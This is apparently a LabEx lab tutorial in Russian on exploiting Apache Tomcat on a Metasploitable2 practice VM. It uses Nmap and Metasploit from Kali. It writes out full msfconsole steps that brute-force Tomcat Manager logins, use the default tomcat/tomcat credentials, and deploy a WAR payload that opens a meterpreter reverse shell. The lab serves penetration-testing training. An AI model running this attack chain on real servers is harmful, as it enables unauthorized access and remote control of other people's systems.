Эксплуатация уязвимостей Tomcat с помощью Nmap в Kali Linux

Введение

В этом лабораторном занятии вы узнаете о принципах эксплойтации уязвимостей Tomcat и процессе атаки на них. Во время процесса атаки вы научитесь использовать Kali Linux и познакомитесь с фреймворком для атак Metasploit Framework (MSF) в Kali. Целевая машина для проникновения в этом лабораторном занятии - Metasploitable2, на основе среды Kali, предоставленной LabEx.

Skills Graph

Сканирование целевой машины на наличие сетевых уязвимостей

В типичном пентест-исследовании нам нужно провести дальнейшую атаку на целевую машину. Первое, что нам нужно сделать, это провести сканирование целевой машины на предмет проникновения. Во время процесса сканирования мы можем обнаружить службы, предоставляемые машиной, а затем определить, есть ли уязвимости на основе имеющейся информации. Затем мы пытаемся проникнуть через потенциальные уязвимости и, в конечном итоге, взломать целевую машину, чтобы получить доступ к ее уязвимостям.

1. Откройте терминал xfce на хост-машине LabEx и запустите целевую машину Metasploitable2, выполнив следующую команду:

sudo virsh start Metasploitable2

Подождите, пока целевая машина запустится, это может занять от 1 до 3 минут.

2. Проверьте связь с целевой машиной, отправив ей пинги:

ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

3. Запустите контейнер Kali Linux и войдите в среду bash, выполнив следующую команду:

docker run -ti --network host b5b709a49cd5 bash

4. Внутри контейнера Kali проверьте сетевое соединение с целевой машиной:

ping 192.168.122.102

Нажмите Ctrl+C, чтобы остановить пингование.

Теперь как атакующая, так и целевая машины запущены, и вы можете приступить к пентест-исследованию.

5. Затем запустите msfconsole и войдите в интерфейс управления:

cd ~
msfconsole

5. На этапе сканирования Nmap является очень полезным инструментом для сканирования. Во время процесса сканирования на уязвимости мы можем анализировать и пытаться эксплоитировать потенциальные уязвимости. Здесь мы выполняем сканирование целевой машины на предмет проникновения с помощью следующей команды:

nmap -sV -T5 target

В приведенной выше команде -T задает скорость сканирования:

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Подбор пароля для Tomcat

На этом этапе мы приступим к эксплойтации уязвимости Tomcat. Мы будем использовать модуль auxiliary/scanner/http/tomcat_mgr_login, который пытается войти в Tomcat Manager с использованием определенного набора имен пользователей и паролей. Если вход выполнен успешно, выводится результат.

Код модуля атаки:

• auxiliary/scanner/http/tomcat_mgr_login

Из результатов сканирования мы видим, что порт 8180 открыт. Попробуем атаковать этот порт. Сначала в терминале MSF поищем модуль для Tomcat, чтобы узнать, есть ли соответствующий модуль для эксплойтации уязвимости:

1. Во - первых, если вы не находитесь в консоли Metasploit, запустите ее:

cd ~
msfconsole

2. Используйте команду search для поиска подходящего модуля:

search tomcat

3. Используйте команду use для выбора подходящего модуля:

use auxiliary/scanner/http/tomcat_mgr_login

4. Отобразите параметры, которые необходимо настроить:

show options

5. Затем проверьте обязательные параметры, которые нужно настроить, и используйте команду set для их настройки:

set RHOSTS 192.168.122.102

6. Установите информацию о порте:

set RPORT 8180

7. Далее используйте команду для атаки и подбора пароля:

exploit

Нажмите Ctrl + D, чтобы выйти из консоли Metasploit, а затем начните проверку

Использование пароля Tomcat для проникновения

После получения пароля для Tomcat с помощью соответствующего модуля мы используем этот пароль для проникновения в целевую машину. Мы будем использовать модуль exploit/multi/http/tomcat_mgr_deploy, который входит в Tomcat Manager и выполняет полезную нагрузку (payload). Эта полезная нагрузка загружает WAR - пакет с использованием операции PUT, и этот WAR - пакет содержит JSP - файл, который предоставляет обратную оболочку meterpreter.

Код модуля атаки:

• exploit/multi/http/tomcat_mgr_deploy

1. Во - первых, если вы не находитесь в консоли Metasploit, запустите ее:

cd ~
msfconsole

2. Найдите подходящий модуль:

search tomcat

3. Затем выберите подходящий модуль атаки:

use exploit/multi/http/tomcat_mgr_deploy

4. Используйте команду show для просмотра необходимых параметров:

show options

5. Установите адрес целевого хоста и порт для атаки:

set rhost 192.168.122.102

6. Установите информацию о порте:

set rport 8180

7. Установите имя учетной записи httpusername:

set httpusername tomcat

8. Установите пароль httppassword:

set httppassword tomcat

9. Затем выполните атаку (это может занять примерно одну минуту):

exploit

10. Хорошо, теперь мы проникли в целевую машину. Далее мы проверим успешность проникновения. В терминале с успешной командой введите команду:

sysinfo

Не вводите whoami, так как это вызовет ошибку, потому что используемая здесь полезная нагрузка meterpreter не поддерживает команды типа hostname, id, whoami и т.д. Вы можете использовать команду help, чтобы увидеть поддерживаемые ей команды:

Как показано ниже, выводится информация об операционной системе:

Computer        : metasploitable
OS              : Linux 2.6.24-16-server (i386)
Architecture    : x86
System Language : en_US
Meterpreter     : java/linux

Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку

Итог

В этом лабораторном занятии вы узнали о принципах уязвимости Tomcat и процессе ее атаки. Как правило, перед проведением пентест - исследования необходимо собрать информацию о целевой машине. Во время процесса сбора информации можно лучше обнаружить уязвимости и взломать целевую машину. После завершения этого лабораторного занятия вы должны были овладеть следующими ключевыми знаниями:

• Принципы уязвимости Tomcat
• Использование сканирования Nmap
• Процесс атаки с помощью MSF
• Проверка успешности атаки